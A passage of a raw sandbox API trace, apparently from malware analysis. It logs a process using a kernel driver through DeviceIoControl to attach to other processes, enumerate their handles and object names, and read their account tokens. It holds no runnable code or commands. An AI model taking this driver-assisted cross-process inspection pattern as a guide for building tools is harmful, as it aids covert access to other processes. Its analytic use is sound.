0x191b30 [0074.129] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0074.129] PsLookupProcessByProcessId (in: ProcessId=0x8c0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.129] PsAcquireProcessExitSynchronization () returned 0x0 [0074.129] KeStackAttachProcess (in: PROCESS=0xfffffa800201cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800201cb30, ApcState=0xfffff880054f85d0) [0074.129] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0074.129] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.129] PsReleaseProcessExitSynchronization () returned 0x2 [0074.129] ObfDereferenceObject (Object=0xfffffa800201cb30) returned 0x10 [0074.129] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80038f9044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f9044, ReturnLength=0xfffff880054f8550) returned 0x0 [0074.129] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0074.129] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.129] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.129] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x8d0) returned 0xc0 [0074.129] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0074.129] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa80020273e0, HandleInformation=0x0) returned 0x0 [0074.129] ObOpenObjectByPointer (in: Object=0xfffffa80020273e0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff80000a24) returned 0x0 [0074.129] ObfDereferenceObject (Object=0xfffffa80020273e0) returned 0x12 [0074.129] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a24, DesiredAccess=0x8, TokenHandle=0xfffffa80036ac6c0 | out: TokenHandle=0xfffffa80036ac6c0*=0xc8) returned 0x0 [0074.129] ZwClose (Handle=0xffffffff80000a24) returned 0x0 [0074.129] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.130] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0074.130] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0074.131] CloseHandle (hObject=0xc8) returned 1 [0074.131] CloseHandle (hObject=0xc0) returned 1 [0074.131] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.131] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0074.131] PsLookupProcessByProcessId (in: ProcessId=0x8d0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.131] PsAcquireProcessExitSynchronization () returned 0x0 [0074.131] KeStackAttachProcess (in: PROCESS=0xfffffa80020273e0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80020273e0, ApcState=0xfffff880054f85d0) [0074.131] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002027d10, HandleInformation=0x0) returned 0x0 [0074.132] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.132] PsReleaseProcessExitSynchronization () returned 0x2 [0074.132] ObfDereferenceObject (Object=0xfffffa80020273e0) returned 0x10 [0074.132] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039fc044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039fc044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.132] ObfDereferenceObject (Object=0xfffffa8002027d10) returned 0x1 [0074.132] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.132] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.132] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.132] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x7c, lpOverlapped=0x0) returned 1 [0074.132] PsLookupProcessByProcessId (in: ProcessId=0x8d0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.132] PsAcquireProcessExitSynchronization () returned 0x0 [0074.132] KeStackAttachProcess (in: PROCESS=0xfffffa80020273e0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80020273e0, ApcState=0xfffff880054f85d0) [0074.132] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002029130, HandleInformation=0x0) returned 0x0 [0074.132] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.132] PsReleaseProcessExitSynchronization () returned 0x2 [0074.132] ObfDereferenceObject (Object=0xfffffa80020273e0) returned 0x10 [0074.132] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a06044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003a06044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.132] ObfDereferenceObject (Object=0xfffffa8002029130) returned 0x1 [0074.132] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.132] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.132] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.132] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0074.132] PsLookupProcessByProcessId (in: ProcessId=0x8d0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.132] PsAcquireProcessExitSynchronization () returned 0x0 [0074.132] KeStackAttachProcess (in: PROCESS=0xfffffa80020273e0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80020273e0, ApcState=0xfffff880054f85d0) [0074.132] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0074.132] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.132] PsReleaseProcessExitSynchronization () returned 0x2 [0074.132] ObfDereferenceObject (Object=0xfffffa80020273e0) returned 0x10 [0074.133] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8003a14044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003a14044, ReturnLength=0xfffff880054f8550) returned 0x0 [0074.133] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0074.133] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.133] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.133] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x8e0) returned 0xc0 [0074.133] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0074.133] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa8002037b30, HandleInformation=0x0) returned 0x0 [0074.133] ObOpenObjectByPointer (in: Object=0xfffffa8002037b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff80000a24) returned 0x0 [0074.133] ObfDereferenceObject (Object=0xfffffa8002037b30) returned 0x12 [0074.133] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a24, DesiredAccess=0x8, TokenHandle=0xfffffa80036ac6c0 | out: TokenHandle=0xfffffa80036ac6c0*=0xc8) returned 0x0 [0074.133] ZwClose (Handle=0xffffffff80000a24) returned 0x0 [0074.133] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.133] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0074.133] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0074.134] CloseHandle (hObject=0xc8) returned 1 [0074.135] CloseHandle (hObject=0xc0) returned 1 [0074.135] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.135] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0074.135] PsLookupProcessByProcessId (in: ProcessId=0x8e0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.135] PsAcquireProcessExitSynchronization () returned 0x0 [0074.135] KeStackAttachProcess (in: PROCESS=0xfffffa8002037b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002037b30, ApcState=0xfffff880054f85d0) [0074.135] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002035970, HandleInformation=0x0) returned 0x0 [0074.135] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.135] PsReleaseProcessExitSynchronization () returned 0x2 [0074.135] ObfDereferenceObject (Object=0xfffffa8002037b30) returned 0x10 [0074.135] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a13044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003a13044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.135] ObfDereferenceObject (Object=0xfffffa8002035970) returned 0x1 [0074.135] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.135] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.135] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.135] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x64, lpOverlapped=0x0) returned 1 [0074.135] PsLookupProcessByProcessId (in: ProcessId=0x8e0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.135] PsAcquireProcessExitSynchronization () returned 0x0 [0074.135] KeStackAttachProcess (in: PROCESS=0xfffffa8002037b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002037b30, ApcState=0xfffff880054f85d0) [0074.135] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80020a0c70, HandleInformation=0x0) returned 0x0 [0074.135] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.135] PsReleaseProcessExitSynchronization () returned 0x2 [0074.135] ObfDereferenceObject (Object=0xfffffa8002037b30) returned 0x10 [0074.135] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a12044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003a12044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.135] ObfDereferenceObject (Object=0xfffffa80020a0c70) returned 0x1 [0074.135] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.135] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.135] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.135] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0074.135] PsLookupProcessByProcessId (in: ProcessId=0x8e0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.135] PsAcquireProcessExitSynchronization () returned 0x0 [0074.136] KeStackAttachProcess (in: PROCESS=0xfffffa8002037b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002037b30, ApcState=0xfffff880054f85d0) [0074.136] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0074.136] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.136] PsReleaseProcessExitSynchronization () returned 0x2 [0074.136] ObfDereferenceObject (Object=0xfffffa8002037b30) returned 0x10 [0074.136] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8003a11044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003a11044, ReturnLength=0xfffff880054f8550) returned 0x0 [0074.136] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0074.136] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.136] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.136] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x8f0) returned 0xc0 [0074.136] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0074.136] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa8001fabb30, HandleInformation=0x0) returned 0x0 [0074.136] ObOpenObjectByPointer (in: Object=0xfffffa8001fabb30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff80000a24) returned 0x0 [0074.136] ObfDereferenceObject (Object=0xfffffa8001fabb30) returned 0x12 [0074.136] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a24, DesiredAccess=0x8, TokenHandle=0xfffffa80036ac6c0 | out: TokenHandle=0xfffffa80036ac6c0*=0xc8) returned 0x0 [0074.136] ZwClose (Handle=0xffffffff80000a24) returned 0x0 [0074.136] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.136] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0074.136] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0074.138] CloseHandle (hObject=0xc8) returned 1 [0074.138] CloseHandle (hObject=0xc0) returned 1 [0074.138] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.138] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0074.138] PsLookupProcessByProcessId (in: ProcessId=0x8f0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.138] PsAcquireProcessExitSynchronization () returned 0x0 [0074.138] KeStackAttachProcess (in: PROCESS=0xfffffa8001fabb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001fabb30, ApcState=0xfffff880054f85d0) [0074.138] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80020a3620, HandleInformation=0x0) returned 0x0 [0074.138] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.138] PsReleaseProcessExitSynchronization () returned 0x2 [0074.138] ObfDereferenceObject (Object=0xfffffa8001fabb30) returned 0x10 [0074.138] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a30044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003a30044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.138] ObfDereferenceObject (Object=0xfffffa80020a3620) returned 0x1 [0074.138] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.138] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.138] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.138] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x80, lpOverlapped=0x0) returned 1 [0074.138] PsLookupProcessByProcessId (in: ProcessId=0x8f0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.138] PsAcquireProcessExitSynchronization () returned 0x0 [0074.138] KeStackAttachProcess (in: PROCESS=0xfffffa8001fabb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001fabb30, ApcState=0xfffff880054f85d0) [0074.138] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80019ac6b0, HandleInformation=0x0) returned 0x0 [0074.138] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.138] PsReleaseProcessExitSynchronization () returned 0x2 [0074.138] ObfDereferenceObject (Object=0xfffffa8001fabb30) returned 0x10 [0074.138] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001942044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8001942044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.138] ObfDereferenceObject (Object=0xfffffa80019ac6b0) returned 0x1 [0074.138] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.139] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.139] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.139] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0074.139] PsLookupProcessByProcessId (in: ProcessId=0x8f0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.139] PsAcquireProcessExitSynchronization () returned 0x0 [0074.139] KeStackAttachProcess (in: PROCESS=0xfffffa8001fabb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001fabb30, ApcState=0xfffff880054f85d0) [0074.139] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0074.139] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.139] PsReleaseProcessExitSynchronization () returned 0x2 [0074.139] ObfDereferenceObject (Object=0xfffffa8001fabb30) returned 0x10 [0074.139] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80019be044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80019be044, ReturnLength=0xfffff880054f8550) returned 0x0 [0074.139] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0074.139] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.139] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.139] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x900) returned 0xc0 [0074.139] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0074.139] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa8002052460, HandleInformation=0x0) returned 0x0 [0074.139] ObOpenObjectByPointer (in: Object=0xfffffa8002052460, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff80000a24) returned 0x0 [0074.139] ObfDereferenceObject (Object=0xfffffa8002052460) returned 0x12 [0074.139] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a24, DesiredAccess=0x8, TokenHandle=0xfffffa80036ac6c0 | out: TokenHandle=0xfffffa80036ac6c0*=0xc8) returned 0x0 [0074.139] ZwClose (Handle=0xffffffff80000a24) returned 0x0 [0074.139] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.139] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0074.139] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0074.141] CloseHandle (hObject=0xc8) returned 1 [0074.141] CloseHandle (hObject=0xc0) returned 1 [0074.141] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.141] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0074.141] PsLookupProcessByProcessId (in: 